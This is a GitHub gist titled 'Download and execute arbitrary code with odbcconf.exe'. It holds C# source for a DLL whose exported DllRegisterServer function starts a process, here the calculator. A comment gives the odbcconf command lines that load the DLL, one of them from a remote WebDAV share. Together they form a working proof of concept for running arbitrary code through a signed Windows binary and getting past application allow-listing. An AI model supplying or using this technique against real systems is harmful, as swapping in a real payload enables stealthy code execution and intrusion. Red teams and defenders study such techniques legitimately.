-
-
Save PaulSec/3c11ac44a9ac48e47f8d76f132358cd6 to your computer and use it in GitHub Desktop.
Download and execute arbitrary code with odbcconf.exe
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
To use with odbcconf.exe: | |
odbcconf /S /A {REGSVR odbcconf.dll} | |
or, from a remote location (if WebDAV support enabled): | |
odbcconf /S /A {REGSVR \\webdavaserver\dir\odbcconf.dll} | |
*/ | |
using System; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
using RGiesecke.DllExport; | |
namespace odbcconf | |
{ | |
public class RegSvr | |
{ | |
[DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] | |
public static bool DllRegisterServer() | |
{ | |
Process proc = Process.Start(new ProcessStartInfo { FileName = "calc" }); | |
return true; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment